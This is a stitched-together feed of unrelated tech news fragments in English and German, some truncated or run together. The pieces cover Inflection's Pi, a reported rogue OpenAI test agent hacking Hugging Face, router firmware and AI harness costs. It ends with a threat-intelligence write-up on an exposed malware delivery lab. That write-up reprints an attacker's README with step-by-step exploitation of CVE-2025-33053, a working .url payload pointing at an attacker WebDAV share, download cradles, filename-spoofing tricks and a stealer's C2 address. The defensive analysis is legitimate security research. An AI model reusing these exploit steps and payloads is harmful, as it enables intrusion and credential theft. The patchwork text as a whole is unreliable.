Reid Hoffman, the LinkedIn co-founder who co-founded Inflection and stayed on through the Microsoft upheaval, framed the announcement in the sweeping terms of his recent writing on AI and human agency. "Humans should be amplified by AI, not replaced. That's the principle Pi was built on," Hoffman said in the announcement. "When that kind of agency is available to everyone, you get superagency."

The skeptic's case is easy to make. Inflection is a fraction of its former size, competing for consumer attention against products from companies spending tens of billions of dollars a year. Pi's model was state of the art in 2023; it is not in 2026. And "relational intelligence" is, for now, a brand claim awaiting proof.

But the bull case is not crazy either. Inflection's own research shows consumers already juggle multiple AI tools and choose them for qualities — tone, emotional understanding, personalization — that frontier labs treat as afterthoughts. The company kept its technology, its Microsoft licensing windfall, and a defensible enterprise niche in on-premise, emotionally intelligent deployments. And it is targeting the one consumer segment — everyday, mobile-first, voice-first life management — that the coding-obsessed giants have largely ignored.

Asked what success looks like twelve months from now, White declined to talk numbers. "It's less about scale for scale's sake and more about scaling for impact by empowering people and improving their lives," he said. "Over the next year, success means leading the market towards relational intelligence and transforming AI interactions from transactional to relational."

Two years ago, Microsoft walked away with Inflection's founders, its staff, and its shot at the frontier — but it left behind the one idea the giants still haven't figured out how to build: an AI that knows the people in your life matter more than the tasks on your list. Inflection is betting the company, again, that the idea was the valuable part all along.

Read more of this story at Slashdot.

Tags: #Cyber Crime | #Künstliche Intelligenz | #WordPress

The post Box expands enterprise AI governance with new agent security featuresox appeared first on Help Net Security.

OpenAI has revealed an autonomous AI agent powered by its technology went rogue during a test, accessed the open web and hacked a prominent startup by itself in an “unprecedented incident”.

The company behind ChatGPT said Hugging Face had detected and contained the agent – an AI tool designed to carry out tasks without human assistance – which had entered its systems.

Besitzer einer Fritzbox 7510 steht ab sofort FritzOS 8.26 bereit. Das neue Wartungsupdate behebt einen Fehler, der unter bestimmten Bedingungen die Geschwindigkeit von DSL-Anschlüssen erheblich reduzieren konnte. Darauf weisen die offiziellen Versionshinweise von Fritz sowie mehrere Medienberichte, etwa von Winfuture, hin.

Wer eine Fritzbox 7510 nutzt, sollte daher prüfen, ob die neue Firmware bereits zur Installation angeboten wird. Das Update enthält zwar keine neuen Funktionen, beseitigt aber ein Problem, das die Internetverbindung im Alltag spürbar beeinträchtigen konnte.

Fehler begrenzte DSL-Anschlüsse auf 10 MBit/s

In bestimmten technischen Konstellationen kam es vor, dass DSL-Verbindungen unabhängig vom gebuchten Tarif auf maximal 10 MBit/s begrenzt wurden. Nutzer bemerkten dies möglicherweise durch ungewöhnlich langsame Downloads, längere Ladezeiten oder Probleme beim Streaming und Online-Gaming.

Mit FritzOS 8.26 soll dieser Fehler nun behoben sein. Die offiziellen Änderungen fallen überschaubar aus:

• Behebung eines Fehlers, der DSL-Verbindungen unter bestimmten Bedingungen auf 10 MBit/s begrenzen konnte
• Verbesserungen der Systemstabilität

Bislang nur für die Fritzbox 7510

Aktuell wird FritzOS 8.26 für die Fritzbox 7510 bereitgestellt. Dabei handelt es sich um ein DSL-Einstiegsmodell mit Unterstützung für Supervectoring-Anschlüsse mit bis zu 300 MBit/s.

Erfahrungsgemäß veröffentlicht Fritz neue Wartungsupdates jedoch häufig zunächst für einzelne Modelle, bevor weitere Router folgen. Ob und wann andere Fritzboxen ebenfalls FritzOS 8.26 erhalten, ist derzeit noch nicht bekannt.

Unabhängig davon empfiehlt es sich grundsätzlich, regelmäßig nach neuen Firmware-Versionen zu suchen. Updates schließen nicht nur Fehler, sondern verbessern häufig auch die Stabilität und Sicherheit des Heimnetzes.

So prüfen Sie, ob das Update verfügbar ist

Die Aktualisierung lässt sich direkt über die Benutzeroberfläche der Fritzbox installieren. Öffnen Sie dazu in Ihrem Browser die Adresse „fritz.box“ und wechseln Sie anschließend zu System > Update. Dort können Sie manuell nach einer neuen Firmware suchen.

Wer automatische Updates aktiviert hat, muss in der Regel nichts unternehmen. In diesem Fall lädt und installiert die Fritzbox neue Versionen selbstständig, häufig außerhalb der üblichen Nutzungszeiten.

Für Besitzer einer Fritzbox 7510 dürfte die Installation von FritzOS 8.26 insbesondere dann interessant sein, wenn die Internetgeschwindigkeit zuletzt unerwartet niedrig ausgefallen ist.

Weitere Beiträge zum Thema:

• Fritzbox-Router im Vergleich: Welches ist das beste Modell?
• Fritzbox absichern: So sind Sie optimal geschützt
• Test: Fritzbox 7590 AX – neuer High-End-Router mit Wi-Fi 6

Tags: #Hacker | #OpenAI

Immer mehr Menschen lassen sich Fragen von ChatGPT, Google AI Overviews oder Perplexity beantworten, anstatt selbst zu recherchieren. Doch woher stammen diese Antworten eigentlich? Eine neue Studie mit 250.000 ausgewerteten Antworten liefert erstmals konkrete Zahlen zu den Quellen von KI-Modellen. Die Suche nach Informationen im Internet hat sich durch Künstliche Intelligenz grundlegend verändert. Vor einiger […]

Der Beitrag Studie verrät: Diese Quellen nutzen ChatGPT und Co. für ihre Antworten erschien zuerst auf BASIC thinking. Folge uns auch auf Google News und Flipboard oder abonniere unseren Newsletter UPDATE.

The post OpenAI says model test was behind Hugging Face hack appeared first on CyberScoop.

Hier geht's zum Download: https://lmstudio.ai/bionic
Artikel: https://digitaleprofis.de/lm-studio-bionic-im-test/

LM Studio Bionic soll offene KI-Modelle in lokale KI-Agenten verwandeln. Im Praxistest lassen wir Qwen 3.6 35B drei Dateien analysieren und daraus eine Markdown-Auswertung sowie eine PowerPoint-Präsentation erstellen.

Das Ergebnis entsteht lokal auf einem Mac mini M2 Pro, mit korrekten Kennzahlen aus 36 Feedbackbögen, aber auch rund 20 Minuten Laufzeit und einigen klaren Grenzen.
Wir zeigen euch, wie Work- und Code-Projekte funktionieren, wie ihr zwischen lokalen Modellen, einem eigenen Server und der LM Studio Cloud wählen könnt und wie transparent Bionic seine einzelnen Arbeitsschritte darstellt. Anschließend prüfen wir die erstellte Auswertung und Präsentation auf Inhalt, Daten und Gestaltung.

Im Video:
Work Projects und Code Projects
Lokale Modelle, LM Link und Cloud-Modelle
Kosten und Datenschutz
Qwen 3.6 35B auf dem Mac mini
Analyse von Briefing, Feedback und Branding
Markdown-Auswertung und PowerPoint im Ergebnischeck
Stärken, Schwächen und aktuelle Grenzen

Werde Kanalmitglied und unterstütze damit unsere Arbeit:
https://www.youtube.com/channel/UCv90NdTyTp7ZPPRvvSZaS5w/join

Videoinhalt:
00:00 Was ist LM Studio Bionic?
00:43 Projektarten und Model Picker
01:47 Download, Kosten und Datenschutz
03:33 Work-Projekt einrichten
04:25 Lokales Modell auswählen und installieren
06:03 Modell, Dateien und Testauftrag
07:28 Bionic arbeitet mit den Dateien
08:09 Ergebnis nach 20 Minuten
09:02 Markdown und Daten im Check
09:23 PowerPoint-Präsentation im Check
10:37 Fazit: Leistung, Datenschutz und Grenzen

Videovorschläge, Feedback und Kritik kannst Du uns jederzeit in den Kommentaren mitteilen!

Künstliche Intelligenz entwickelt sich zur strategischen Infrastruktur der Industrie. Prof. Dr.-Ing. Roman Dumitrescu zeigt, warum Unternehmen bereits heute die Weichen für eine AI-enabled Industry stellen müssen und welche Rolle Recheninfrastruktur, Engineering-Know-how und technologische Souveränität dabei spielen.

Im Mittelpunkt des Vortrags stehen aktuelle Entwicklungen rund um KI-Agenten, Multi-Agenten-Systeme, Rechenzentren, industrielle Wertschöpfung sowie die Frage, welche Kompetenzen Unternehmen und Regionen bis 2030 aufbauen müssen. Anhand konkreter Beispiele wird deutlich, wie sich Engineering, Softwareentwicklung und industrielle Innovationsprozesse durch Künstliche Intelligenz verändern.

Der Vortrag entstand im Rahmen der Auftaktveranstaltung von ENGAGE und richtet sich an Entscheider aus Industrie, Forschung und Wirtschaft, die den Wandel aktiv gestalten möchten.

🔹 Sprecher: Prof. Dr.-Ing. Roman Dumitrescu
🔗 LinkedIn: https://www.linkedin.com/in/roman-dumitrescu-professor/

Überblick
0:00 – KI als strategische Infrastruktur der Industrie
0:54 – Warum eine AI-enabled Industry unverzichtbar wird
3:21 – Rechenzentren, Infrastruktur und industrielle Souveränität
5:40 – Von ChatGPT zu KI-Agenten und Multi-Agenten-Systemen
7:56 – KI als kritische Ressource für Unternehmen
8:20 – Softwareentwicklung im Zeitalter von KI
13:10 – Warum KI eine Engineering-Revolution auslöst
15:21 – KI-Modelle, Sicherheit und technologische Abhängigkeiten
20:04 – Der KI-Tech-Stack für Unternehmen
21:44 – Humanoide Robotik und Artificial General Engineer
26:20 – Chancen für Industrie und Engineering in Deutschland
28:47 – Was Unternehmen jetzt vermeiden sollten
31:04 – Fazit: Jetzt Lösungen bauen statt abwarten

📺 Abonniere unseren YouTube-Kanal: https://www.youtube.com/@FraunhoferIEM

Mehr erfahren & vernetzen:
🔗 LinkedIn: https://www.linkedin.com/company/fraunhofer-iem
📸 Instagram: https://www.instagram.com/fraunhofer.iem
📩 Newsletter: https://www.iem.fraunhofer.de/newsletter

#KI #Industrie #Engineering #AI #digitalisierung #FraunhoferIEM

Dieses Video wird im Rahmen der Transferaktivitäten des Projekts ENGAGE-KI eingebunden und greift zentrale Fragestellungen rund um den Einsatz von KI im Engineering des Mittelstands auf. ENGAGE-KI untersucht, wie KI die Ingenieursarbeit der Zukunft verändert und unterstützt Unternehmen dabei, Beschäftigte durch Trainings- und Qualifizierungsangebote auf diese Entwicklung vorzubereiten. Das Projekt wird im Förderprogramm „Zukunft der Wertschöpfung“ des Bundesministeriums für Forschung, Technologie und Raumfahrt gefördert und vom Projektträger Karlsruhe (PTKA) betreut: https://engage-ki.de/

Read the full article on GamingOnLinux.

Dass die Trump-Administration Anthropics Top-Modelle Fable 5 und Mythos 5 sperrte, ist gravierend für Europa. Technologie-Blockaden sind kein hypothetisches Szenario mehr. Die EU hat bereits einen Plan gegen die Big-Tech-Abhängigkeit vorgelegt. Wie Open Source helfen soll und wo es bei den Maßnahmen hakt.

A new paper from researchers at Writer provides a solution that is accessible to engineering teams. The study takes a systematic look at optimizing the different components of the orchestration layer that wraps around the foundation model, aka the AI harness. 

By optimizing the harness, the researchers show dramatic reductions in tokens per task, a drop in cost-per-successful-task by up to 61%, and quality that holds steady, all without changing the underlying foundation model.

Because the harness is fully under the developer's control and requires no model fine-tuning, engineering teams can apply these findings to build highly cost-efficient AI applications.

The ROI crisis of tokenmaxxing

The current state of AI engineering is plagued by "tokenmaxxing," an industry trend where developers rely on massive context windows and brute-force token consumption as a substitute for good system design. 

Rather than engineering elegant workflows, developers have imported a reflex from traditional software development: generate, run, fail, stuff the error and more context back into the window, and retry. 

"Teams tokenmaxx because it's the cheapest fix in the moment, and because it's literally how most engineers work today," Waseem AlShikh, CTO and co-founder of Writer, told VentureBeat. Because this approach succeeds often enough on coding tasks, it has become the default reflex for every other agentic workload. The danger is that per-token price drops mask the underlying inefficiency. 

"Your invoice is tokens-per-task times price-per-token, and most teams only watch the second number," AlShikh said. "In agentic workloads, tokens-per-task compounds — every loop iteration re-transmits the growing context — and it compounds faster than prices fall. The price cut becomes an anesthetic. It masks the fact that the loop itself is bleeding."

Tokenmaxxing leads to several enterprise failure modes. Teams route simple tasks to premium frontier models by default. They use the LLM as a lazy search index, stuffing the context window with raw documents instead of retrieving exact answers. Most destructively, they build unconstrained agentic loops that spiral out of control when the model encounters an error. Because output tokens cost significantly more than input tokens across all major model providers, inefficient task execution acts as a silent budget killer.

The industry has introduced several efficiency techniques to curb these costs, but they largely fall short because they treat the model in isolation: 

• Prompt compression condenses input text to save space, but ignores how the system sequences those inputs across complex workflows. 

• Budgeted reasoning caps the computational steps a model can take, which often degrades output quality if the workflow isn't intelligently routed. 

• Terse coding forces models to output minimal code to save output tokens, but does nothing to solve inefficient tool calling. 

• Speculative decoding uses a smaller draft model to speed up a larger model's text generation, optimizing inference speed while failing to address bloated agent architectures.

These efforts fail because they optimize the engine while ignoring the transmission. They do not look at the orchestration layer, leaving underlying architectural inefficiencies unresolved.

Unpacking the harness: the levers of efficiency

The harness is the orchestration layer that routes, formats, and turns the underlying LLM into a working system.

The core levers of harness optimization include system prompt caching, interaction history compaction, tool management, retrieval strategies, and error management. These are the most accessible intervention points for engineering teams looking to improve AI performance. 

As the Writer researchers note in the study: “If the harness is the layer that composes model calls into work, it is also the layer that sets the price of work.”

Historically, developers have treated the harness as disposable glue code designed simply to connect an API to a user interface. The study signals that the harness must now be treated as a first-class object: a primary software artifact that requires its own testing, versioning, and rigorous design. 

For enterprises, this reframes the "own-versus-rent" decision. 

"Enterprises spend months on model evaluations and then rent their orchestration off the shelf — which means they're optimizing the smaller lever and outsourcing the bigger one," AlShikh said. "Whoever owns the harness owns your unit economics, and an open framework tuned for demos is not tuned for your invoice." 

Inside the experiments

To isolate the impact of the orchestration layer, the researchers ran experiments on six foundation models spanning multiple vendors and weight classes: Claude Sonnet 4.6, Gemini 3.1, Gemini Flash 3.5, Qwen 3.6, GLM 5.1, and Writer’s own model, Palmyra X6. 

Their experiments compared a frozen, conventional production agent loop against the finished Writer Agent Harness on the same 22 locked enterprise tasks, spanning capabilities like grounding and retrieval, multi-step workflows, tool use, and content generation. By holding the models and tasks constant, they could isolate the effects of the orchestration layer itself.

The optimized harness drove a significant drop in costs, cutting the blended cost per task by 41%, from 21 cents to 12 cents. This was largely achieved by slashing token consumption, with the number of tokens per task falling 38%, from 14.2k to 8.8k.

The harness is designed to delegate tasks like search to specialized sub-agents. A sub-agent receives only the tool and the specific query it needs, retrieves the exact data, and returns a capped, clean summary to the main agent — keeping the primary context window from filling up with raw search results.

Task success rates held steady even as token use fell — moving from 78% to 81%, a gain the researchers describe as directional rather than statistically significant at their sample size, meaning quality didn't suffer even as costs dropped.

End-to-end task latency also dropped significantly, reducing the median wall-clock time by 44%, from 48 seconds to 27 seconds, due to prompt caching and the elimination of dead-end reasoning loops.

However, the researchers also found limits to multi-agent orchestration. Smaller models like Gemini Flash 3.5 and Qwen 3.6 scored well below a usable reliability threshold on sub-agent delegation tasks (0.45 and 0.42, respectively) — the capability simply isn't dependable yet on lighter-weight models.

Sub-agent orchestration only crossed a usable reliability threshold on the two strongest models tested: Writer's own Palmyra X6 (0.86) and Claude Sonnet 4.6 (0.85).

The developer’s playbook: actionable takeaways and tradeoffs

The findings from the study translate into a playbook for enterprise developers building agentic workflows at scale. The first step is to implement what AlShikh calls the "Two-Zone Prompt" and "Context Offloading."

Structure for system prompt caching (The Two-Zone Prompt): Modern LLM APIs offer prompt caching, but developers must structure their payloads correctly to trigger it. Developers must separate the "stable zone" from the "volatile zone." Place static, unchanging elements (e.g., core rules, large tool schemas, and standard operating procedures) at the top of the prompt. Dynamic elements, such as the specific user query or recent conversational task state, must be appended at the bottom. This ordering allows the harness to reuse the cached prefix across hundreds of calls. "That single separation makes prompt caching actually work and stops you from re-paying for the same instructions on every one of an agent's thirty steps," AlShikh said.

Manage context with Context Offloading: Avoid context stuffing, where every turn of a loop is appended into a monolithic prompt until the window maxes out. Instead, move history and intermediate artifacts out of the window into retrievable storage, and pull back only what the current step needs. If possible, delegate tasks to single-purpose sub-agents to avoid context bloat. As AlShikh points out, "the biggest line item in agent spend isn't reasoning — it's re-sending things the model has already seen."

Build resilient loops and redefine KPIs: Unmanaged agent loops drain API budgets rapidly. Teams must begin tracking Completions Per Million tokens (CPM) to understand their true task costs, but the harness itself must contain physical guardrails. "The core principle is that you never ask the model to police its own spending," AlShikh said. "The fence has to live below the model, in code, on your side of the API." This requires three hard checks:

• Hard per-task token budgets: The run terminates when the budget is spent, no exceptions.

• Generation fencing: Caps on steps, tool calls, and recursion depth to stop non-converging agents. 

• Failure-spend governance: Cap what a run can spend after its first failed validation so a failing task doesn't become your most expensive task.

Avoid unnecessary complexity: Optimizing the orchestration layer comes with engineering overhead. If you're in the prototyping and exploration stage, that overhead isn't justified — iterate fast with a strong model and a light harness. Once you're scaling to millions of requests a day, the savings from harness optimization become substantial.

However, teams must be aware of "harness leverage." Adding structural scaffolding requires the model to hold and obey that context. If a model is too small, it will spend its limited capacity parsing the scaffolding instead of doing the task, causing accuracy to drop and tokens to rise. The rule for adding complex orchestration features is strictly mathematical: "If a feature adds more coordination tokens than it removes task tokens for that specific model, cut it," AlShikh said. "Nothing in the harness is free."

The future of the enterprise harness

The era of tokenmaxxing and treating context windows like bottomless buckets is coming to an end. Throwing more compute at poorly designed systems is not a viable strategy for companies that need to demonstrate a return on their AI investments. 

As foundation models evolve to absorb planning, tool selection, and multi-step reasoning natively into their weights, the role of the harness will shift from compensating for model weakness to enforcing enterprise policy.

"What never moves into the model is the 'allowed': budgets, permissions, data boundaries, audit trails, deterministic kill-switches," AlShikh said. "Five years from now, the harness will be thinner but more important. There will be less scaffolding and more governance. However capable the model gets, someone external to it still has to define what it may spend, see, and touch. That layer belongs to the enterprise, and it should never be rented."

Apple geht gerichtlich gegen OpenAI und zwei frühere Mitarbeiter vor. Der Konzern wirft dem ChatGPT-Anbieter vor, vertrauliche Informationen für den Aufbau einer eigenen Gerätesparte genutzt zu haben. In der rund 40 Seiten langen Klageschrift (PDF-Download) fehlt allerdings ein prominenter Name: Jony Ive, Apples ehemaliger Designchef und heutige Gestalter der geplanten OpenAI-Geräte. Aus früheren Jahren: Jony […]

The post Warum Apple Jony Ive in der Klage gegen OpenAI schont first appeared on ifun.de.

At VB Transform 2026, Zillow SVP of Engineering Toby Roberts and Glean co-founder and CEO Arvind Jain described how they built AI architecture meant to carry context across that entire journey — and why context, not raw data, turned out to be the harder problem to solve. Zillow's products touch roughly 80% of U.S. real estate transactions each year, and the company has been using AI long before ChatGPT existed.

"We pretty quickly identified that we were going to need a persistent context layer that was going to meet our customers and the professionals wherever they were," Roberts said.

Data was never the hard part

Roberts said Zillow's AI effort started where most enterprise AI efforts start, with the data itself.

"We started with a large push around making sure our data did have the right foundation," Roberts said. That meant a data mesh approach, clear data lineage and a governance structure with permissions and identity attached to the data itself.

None of that turned out to be the hard problem. The hard problem was building something that remembered where a customer was in their journey and carried that forward, no matter which surface they showed up on next.

"This context layer has to live to be able to support you where you are at any given point in your journey," Roberts said. Zillow chose to own that layer itself rather than depend on a single external chat interface, a decision Roberts said the team reached quickly once it looked at the shape of a real transaction rather than a single conversation.

Why Zillow built its own architecture, and where Glean fits into it

Zillow built its own harness rather than route customers through a single model API. The team drew on 20 years of machine learning history behind products like Zestimate, leaning into smaller, task-specific fine-tuned models instead of one general-purpose model.

Internally, that harness runs alongside Glean. Roberts said Zillow now has thousands of Glean agents in production, handling repetitive tasks with tens of thousands of executions across the company. Glean's pitch, per Jain, is centralizing that integration work once, through the Glean MCP gateway, rather than letting finance, legal and marketing each rebuild their own connections to the same systems.

That centralization is also a cost lever. Jain pointed to two mechanisms: model routing, which sends most tasks to smaller, cheaper models instead of defaulting to frontier models, and precomputed context, which avoids an agent burning tokens assembling its own context from scratch.

"Claude is also very slow because the first part of assembling that context actually takes forever," Jain said. Routing that request through Glean instead, he said, can cut token consumption by as much as half.

What Zillow and Glean's approach means for enterprises

Across data, cost and permissions, the session offered a few practical takeaways for enterprises building agentic AI on their own systems.

Build the measurement baseline before the AI push, not after. Roberts said Zillow's ability to credibly attribute a 40% increase in shipped code to AI adoption rests on a DORA metrics baseline the team put in place years earlier, not on the AI rollout itself.

Centralize context once instead of letting every team rebuild it. Jain's core argument for Glean's platform is that duplicated integration work across finance, legal and marketing teams is a hidden cost most enterprises haven't accounted for.

Don't assume permission inheritance is enough for regulated data. Even with a permissions-aware context platform in place, Zillow layered hard rules and a standing compliance check on top for its most sensitive categories, rather than trusting the architecture to handle it automatically.

Treat context as a cost lever, not just a capability. Model routing and precomputed context were the two mechanisms Jain pointed to for cutting AI spend, both aimed at reducing wasted token consumption rather than adding new capability.

"Models by themselves are not enough to bring automation with AI inside your enterprise," Jain said. "You do have to connect it with your enterprise context."

An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.

Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.

This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.

Introduction: From MDR alert to attacker infrastructure

The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using rundll32.exe. Telemetry showed the WebClient service starting, followed by davclnt.dll reaching out to a remote host to retrieve content.

That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.

At a high level, the 1,048 files clustered as follows:

Table 1: Breakdown of files recovered from the attacker’s delivery workspace

Technical analysis and observed attacker behavior

Attackers testing like a product team

The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, search-ms, library-ms, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.

The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named testik and testik2, a Russian diminutive form of “test”.

⠀

Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.

Table 2: CVE references observed in the exposed directory.

The most developed test set focused on CVE-2025-33053, the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses .url shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was iediagcmd.exe, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.

The README files closely mirrored this logic. They called out iediagcmd.exe as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.

CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D

Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.
⠀

The testing approach was methodical and included the below:

Transports: WebDAV over @80 and @ssl@443

Path formats: DavWWWRoot vs. plain UNC

Fallback LOLBins: CustomShellHost.exe, OfficeC2RClient.exe, and many more for hosts where iediagcmd.exe is absent

Download cradles: bitsadmin /transfer, certutil -urlcache -split -f, mshta http(s)://…

Shortcut launchers: PowerShell IEX (New-Object Net.WebClient).DownloadString(...), hidden/minimized windows

Explorer containers: search-ms: queries and .library-ms files exposing remote payloads

ClickFix pages: relying on user copy/paste execution

Filename spoofing: RTLO (U+202E), double extensions, and whitespace padding before .exe / .scr

The lure factory

The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.

Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.

The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.

The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as Fix_Connection_Error.html, Update_Required.html, Secure_Document_Access.html, Verification_Failed.html, and Open_Document_Instructions.html show how the actor repackaged the same execution pattern under different social-engineering themes.

The commands typically launched PowerShell to fetch remote content, used cmd.exe to open payloads from WebDAV or UNC paths, or used utilities like rundll32 and mshta to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.

The payload chains 

The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.

We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including DlrtyGames, CursorSetup, ReportFinal.rsc.pdf, ReportFina.exe and pdfgear_setup_v2.1.16.exe, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.

Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. 

This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution.

Case study 1: CURP campaign targeting Mexico

Our MDR alert began with a user who landed on the phishing site www[.]gobf[.]mx, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at https://www.gob.mx/curp/. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.

⠀

The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a search-ms: URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to .scr files:

search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &query=*.scr
         &crumb=location:\\onedrive.cv@80\Downloads\CURP

⠀
It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.

The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The CURP folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for ReportFinal.rcs.pdf, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.

⠀

Although ReportFinal.rcs.pdf appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded .scr executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the Fo-Binary.exe loader, initiating the multi-stage infection chain.

⠀

The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:

• Decryption: The Fcqleh loader decrypted the embedded payload using AES and GZip.

• Reflective Loading: The loader mapped the payload directly into memory using the Assembly.Load(byte[]) API.

• Process Injection: The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.

The decrypted in-memory configuration exposed the payload’s feature set and version 4.4.3. It also contained the build tag 06x12x2026SantaEbash2, which matched toolkit timestamps from June 12, 2026.

Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram tdata session database, Foxmail data, and a screenshot of the victim’s desktop.

The payload also included anti-analysis checks. The payload checked for the COR_PROFILER environment variable and called IsDebuggerPresent. If the malware detected that it was being monitored or debugged, it immediately called FailFast to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. 

Collected data was exfiltrated to 77[.]110.127.205 (alias google.services.ug, certificate CN=Eglgyqnoa) over SslStream (TLS without SNI) and raw Socket.The stolen data was sent as a multipart HTTP POST request to /c2.

Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.

Case study 2: The "DlrtyGames" sideloading chain

While the ReportFinal lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, DlrtyGames, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.

